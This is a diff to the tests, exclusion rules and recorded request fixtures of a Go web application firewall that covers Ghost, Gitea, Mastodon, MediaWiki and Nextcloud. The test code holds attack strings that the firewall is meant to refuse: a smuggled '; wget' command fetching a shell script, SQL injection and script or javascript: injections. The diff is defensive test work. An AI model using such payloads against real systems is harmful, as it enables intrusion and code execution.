// ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const ghostThreshold = 5
|
||||
|
||||
// Paths of Ghost's Admin API, Content API and members' API.
|
||||
@@ -143,21 +143,10 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
|
||||
// 930120 and 932120, as url does.
|
||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCanonicalURLFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostPostFields = []ghostField{
|
||||
var ghostArticleFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
||||
{
|
||||
@@ -166,13 +155,6 @@ var ghostPostFields = []ghostField{
|
||||
`{"posts":[{"html":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
|
||||
// footer, skip the rules of 900355, and still refuse a <script> element.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/snippets/",
|
||||
@@ -185,16 +167,8 @@ var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
||||
},
|
||||
}
|
||||
|
||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostArticleFields = slices.Concat(
|
||||
ghostPostFields,
|
||||
ghostSnippetAndNewsletterFooterFields,
|
||||
)
|
||||
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
||||
// and take a <script> element by 900366.
|
||||
// ghostCodeFields hold code injection or a setting and skip the rules of
|
||||
// 900356.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCodeFields = []ghostField{
|
||||
@@ -230,16 +204,13 @@ var ghostQueryFields = []string{
|
||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||
}
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
|
||||
// URL.
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLs = []string{
|
||||
"https://github.com/example/site/blob/main/.htaccess",
|
||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||
"https://example.com/docs/python3/",
|
||||
"https://example.com/blog/powershell/",
|
||||
"https://example.com/blog/.htaccess/",
|
||||
}
|
||||
|
||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||
@@ -340,10 +311,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, address := range ghostURLs {
|
||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||
|
||||
for _, f := range ghostCanonicalURLFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
@@ -368,41 +335,11 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
||||
}
|
||||
|
||||
// ghostWidget is an HTML card that embeds a widget with its script.
|
||||
const ghostWidget = `<div id="signup"></div>` +
|
||||
`<script src="https://widgets.example.com/form.js" async></script>`
|
||||
|
||||
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
||||
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
||||
`"html":"<div id=\"signup\"></div><script ` +
|
||||
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
||||
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
||||
|
||||
// ghostAnalytics is code injection that loads analytics.
|
||||
const ghostAnalytics = `<script defer ` +
|
||||
`src="https://analytics.example.com/script.js"></script>`
|
||||
|
||||
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// An HTML card in a post, as the editor saves it, and as integrations
|
||||
// send it.
|
||||
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
||||
|
||||
for _, f := range ghostPostFields {
|
||||
wantGhostField(t, f, ghostWidget, false)
|
||||
}
|
||||
|
||||
// Site code injection, saved in settings, and a post's or a page's own.
|
||||
for _, f := range ghostCodeFields {
|
||||
wantGhostField(t, f, ghostAnalytics, false)
|
||||
}
|
||||
}
|
||||
|
||||
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
||||
// ghostAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, not escaped.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostAttacks = []string{injection, pathTraversal}
|
||||
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
||||
|
||||
// commandAfterASeparator is a shell command after a ";", not escaped.
|
||||
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
||||
@@ -412,7 +349,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
|
||||
ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, attack, true)
|
||||
}
|
||||
|
||||
@@ -421,22 +358,9 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
|
||||
for _, target := range ghostQueryFields {
|
||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text, the addresses and the
|
||||
// canonical URLs.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostCanonicalURLFields) {
|
||||
// misfire: in the query fields, the plain text and the addresses.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||
wantGhostField(t, f, commandAfterASeparator, true)
|
||||
}
|
||||
|
||||
@@ -448,15 +372,11 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
// The articles and code injection carry HTML on purpose, but a
|
||||
// javascript: link is still refused there, and a script element in
|
||||
// snippets and a newsletter's footer.
|
||||
// The articles and code injection carry HTML on purpose, but a script
|
||||
// element and a javascript: link are still refused there.
|
||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||
}
|
||||
|
||||
for _, f := range ghostSnippetAndNewsletterFooterFields {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses a listing of files.
|
||||
@@ -481,8 +401,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -519,12 +437,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||
{ghostPosts, userEmail},
|
||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||
{"/api/posts/1/", postURL},
|
||||
{ghostMembers, postURL},
|
||||
{ghostPage, postURL},
|
||||
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||
{ghostPost, pageURL},
|
||||
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||
@@ -547,44 +459,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// A <script> element keeps 941110 off the Admin API, in fields that do
|
||||
// not take one, and when the query has a field of the same name. 941100
|
||||
// and 941160 refuse each request too, so the test looks for 941110
|
||||
// itself.
|
||||
const (
|
||||
script = `<script defer src=\"/script.js\"></script>`
|
||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
{"/ghost/api/content/posts/", scriptInPost},
|
||||
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
||||
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
||||
{"/api/settings/", scriptInSettings},
|
||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, refused.body)
|
||||
if got.Score < ghostThreshold ||
|
||||
!slices.Contains(got.RuleIDs, 941110) {
|
||||
t.Errorf(
|
||||
"PUT %s %s: %+v, want 941110 among them",
|
||||
refused.target,
|
||||
refused.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
# request the rule refused.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
|
||||
# while SWW_WAF_APPS is unset, or lists gitea or forgejo for the request's hostname.
|
||||
# while SWW_APPS is unset, or lists gitea or forgejo for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_gitea itself.
|
||||
SecRule &TX:app_gitea "@eq 0" \
|
||||
@@ -394,8 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||
|
||||
# The requests below name a file or a branch in a body field, which is read only
|
||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
|
||||
# refused it.
|
||||
# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
|
||||
# Each field below that names a branch skips these rules:
|
||||
# 932120: fix-powershell-module
|
||||
# 932260: feat/docker-support
|
||||
|
||||
@@ -85,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
||||
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -146,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
@@ -170,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
|
||||
@@ -4,8 +4,8 @@
|
||||
# exclusion runs with the request, before the rules it switches off, so this
|
||||
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||
# has no parameter of that name, so it matters only while
|
||||
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is
|
||||
# set.
|
||||
#
|
||||
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||
# resources under them count as Mastodon's paths.
|
||||
@@ -18,7 +18,7 @@
|
||||
# 932260: python3
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
|
||||
# it while SWW_WAF_APPS is unset, or lists mastodon for the request's hostname.
|
||||
# it while SWW_APPS is unset, or lists mastodon for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_mastodon itself.
|
||||
SecRule &TX:app_mastodon "@eq 0" \
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mastodonThreshold = 5
|
||||
|
||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||
|
||||
@@ -5,8 +5,8 @@
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter of
|
||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# MediaWiki's paths are matched at the site root and under /w/.
|
||||
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
|
||||
# paths are matched at the site root and under /w/.
|
||||
#
|
||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||
# with a page title, in the query or after the path:
|
||||
@@ -22,7 +22,7 @@
|
||||
# 932260: python3
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
|
||||
# it while SWW_WAF_APPS is unset, or lists mediawiki for the request's hostname.
|
||||
# it while SWW_APPS is unset, or lists mediawiki for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_mediawiki itself.
|
||||
SecRule &TX:app_mediawiki "@eq 0" \
|
||||
|
||||
@@ -9,10 +9,10 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mediawikiThreshold = 5
|
||||
|
||||
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
||||
// mediawiki is MediaWiki's name in SWW_APPS.
|
||||
const mediawiki = "mediawiki"
|
||||
|
||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
|
||||
@@ -5,9 +5,8 @@
|
||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||
# applies only when the query has no parameter of that name, so it matters only
|
||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
|
||||
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
||||
# serves them.
|
||||
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
||||
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||
#
|
||||
# Four rules read a search or a name as a command or a system file:
|
||||
# 930120: .htaccess
|
||||
@@ -31,7 +30,7 @@
|
||||
# injection, path traversal and script injection are still refused there.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
|
||||
# it while SWW_WAF_APPS is unset, or lists nextcloud for the request's hostname.
|
||||
# it while SWW_APPS is unset, or lists nextcloud for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_nextcloud itself.
|
||||
SecRule &TX:app_nextcloud "@eq 0" \
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudSignIn is the sign-in page.
|
||||
@@ -51,7 +51,7 @@ const (
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
// nextcloud is Nextcloud's name in SWW_WAF_APPS.
|
||||
// nextcloud is Nextcloud's name in SWW_APPS.
|
||||
const nextcloud = "nextcloud"
|
||||
|
||||
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(
|
||||
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {nextcloud},
|
||||
@@ -529,7 +528,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
target := nextcloudUsers + "/alice"
|
||||
|
||||
@@ -17,8 +17,8 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// appsUnset labels the checks made while SWW_WAF_APPS is unset.
|
||||
const appsUnset = "SWW_WAF_APPS unset"
|
||||
// appsUnset labels the checks made while SWW_APPS is unset.
|
||||
const appsUnset = "SWW_APPS unset"
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
@@ -53,18 +53,18 @@ func giteaRequests(t *testing.T) []request {
|
||||
}
|
||||
|
||||
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
|
||||
// SWW_WAF_APPS unset, and on giteaHost while SWW_WAF_APPS lists only gitea for it.
|
||||
// SWW_APPS unset, and on giteaHost while SWW_APPS lists only gitea for it.
|
||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
requests := giteaRequests(t)
|
||||
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
||||
|
||||
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
||||
appsUnset: atDefaults(t),
|
||||
"SWW_WAF_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
|
||||
"SWW_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
|
||||
} {
|
||||
for _, r := range requests {
|
||||
got := inspect(t, crs, withHost(r, giteaHost))
|
||||
@@ -122,29 +122,29 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
}
|
||||
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused: with SWW_WAF_APPS unset, and
|
||||
// requests in the file name in testdata is refused: with SWW_APPS unset, and
|
||||
// on the hostname where they were recorded, otherHost for WordPress and
|
||||
// example.com for the other apps, while SWW_WAF_APPS lists only app for it. Both
|
||||
// example.com for the other apps, while SWW_APPS lists only app for it. Both
|
||||
// times, they are checked at the defaults and while bodies are read. A
|
||||
// request with neither a body nor a Content-Type header is checked only at
|
||||
// the defaults: with neither, the set that reads bodies has nothing more to
|
||||
// check. Each request runs as its own parallel subtest for each setting of
|
||||
// SWW_WAF_APPS.
|
||||
// SWW_APPS.
|
||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
requests := recordedRequests(t, name)
|
||||
|
||||
for setting, apps := range map[string]map[string][]string{
|
||||
appsUnset: nil,
|
||||
"SWW_WAF_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
|
||||
"SWW_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
|
||||
} {
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||
BodyLimit: bodyLimit, Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range requests {
|
||||
@@ -204,8 +204,8 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
}
|
||||
|
||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
||||
// defaults only: with SWW_WAF_APPS unset, and on example.com, where they were
|
||||
// recorded, while SWW_WAF_APPS lists only forgejo for it. While bodies are read,
|
||||
// defaults only: with SWW_APPS unset, and on example.com, where they were
|
||||
// recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
|
||||
// the Core Rule Set still refuses a new wiki page whose title and text name
|
||||
// commands and files, as it does such text in gitea's comments
|
||||
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
|
||||
@@ -214,14 +214,14 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
requests := recordedRequests(t, "forgejo-requests.txt")
|
||||
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
||||
|
||||
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
||||
appsUnset: atDefaults(t),
|
||||
"SWW_WAF_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
|
||||
"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
|
||||
} {
|
||||
for _, recorded := range requests {
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
@@ -533,8 +533,6 @@
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", 